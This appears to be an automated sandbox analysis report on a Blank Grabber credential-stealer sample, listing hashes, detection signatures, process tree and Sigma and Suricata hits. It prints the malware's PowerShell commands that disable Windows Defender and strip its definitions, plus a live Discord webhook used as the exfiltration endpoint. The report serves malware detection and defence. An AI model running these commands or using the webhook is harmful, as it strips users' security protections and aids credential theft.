Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Analysis ID:	1543368
MD5:	3c1b1f453e5f9f0d71f7862d2d6235fe
SHA1:	2092b1b88e17b165ea635b136aceecb05c54e042
SHA256:	984156f2a09823ce55d34fab0738e81d086b4599dbba3b1f6282aa3cce64524a
Tags:	BlankGrabberexe
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Blank Grabber

Yara detected Powershell download and execute

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Check if machine is in data center or colocation facility

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Removes signatures from Windows Defender

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Suspicious Script Execution From Temp Folder

Uses ipconfig to lookup or modify the Windows network settings

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SGDT)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe (PID: 7612 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe" MD5: 3C1B1F453E5F9F0D71F7862D2D6235FE)

SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe (PID: 7664 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe" MD5: 3C1B1F453E5F9F0D71F7862D2D6235FE)

cmd.exe (PID: 7692 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7780 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7700 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7820 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 7600 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

MpCmdRun.exe (PID: 2624 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7752 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7920 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /c "start bound.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bound.exe (PID: 7976 cmdline: bound.exe MD5: 2A4DCF20B82896BE94EB538260C5FB93)

conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7400 cmdline: "cmd" /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 1512 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

WerFault.exe (PID: 2024 cmdline: C:\Windows\system32\WerFault.exe -u -p 7976 -s 2228 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cmd.exe (PID: 7852 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8044 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7936 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8184 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1299279521836433439/GoUGaI0qQnNvUez_tVUOCPj55nOrj_OQnwDZRVe4JnsR8fWm3B0OhLukLX3stEIlIXzc"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI76122\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
dropped/ConDrv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1393387910.000001C12B872000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.1407872022.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1393387910.000001C12B874000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7612	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7664	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe PID: 7664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bound.exe PID: 7976	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, ParentProcessId: 7664, ParentProcessName: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'", ProcessId: 7692, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, ParentProcessId: 7664, ParentProcessName: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe', ProcessId: 7920, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7692, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe', ProcessId: 7780, ProcessName: powershell.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: "cmd" /c ipconfig /all, CommandLine: "cmd" /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: bound.exe, ParentImage: C:\Users\user\AppData\Local\Temp\bound.exe, ParentProcessId: 7976, ParentProcessName: bound.exe, ProcessCommandLine: "cmd" /c ipconfig /all, ProcessId: 7400, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T18:44:34.269854+0100	2803305	3	Unknown Traffic	192.168.2.9	49785	172.67.203.125	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe.7664.2.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1299279521836433439/GoUGaI0qQnNvUez_tVUOCPj55nOrj_OQnwDZRVe4JnsR8fWm3B0OhLukLX3stEIlIXzc"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 172.67.203.125:443 -> 192.168.2.9:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.203.125:443 -> 192.168.2.9:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.123.4:443 -> 192.168.2.9:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.23.46:443 -> 192.168.2.9:49809 version: TLS 1.2

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Data.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.pdb8* source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: bound.exe, 00000011.00000002.1605507236.00000254B6D83000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: System.Drawing.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER40B.tmp.dmp.29.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469630464.00007FF8E6B32000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387564300.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499835574.00007FF8F8754000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\bound.PDB] source: bound.exe, 00000011.00000002.1610583580.00000254CF206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499519391.00007FF8F8301000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498932456.00007FF8E83BB000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Core.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499164616.00007FF8F0D01000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Xml.pdbX`h0a source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474323542.00007FF8E72E8000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469630464.00007FF8E6BCA000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387564300.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499835574.00007FF8F8754000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469630464.00007FF8E6BCA000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: System.Configuration.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Data.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Xml.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.pdb source: bound.exe, 00000011.00000002.1605507236.00000254B6D83000.00000004.00000800.00020000.00000000.sdmp, WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1500164884.00007FF8F9181000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: System.Data.pdbH source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.pdb source: WER40B.tmp.dmp.29.dr
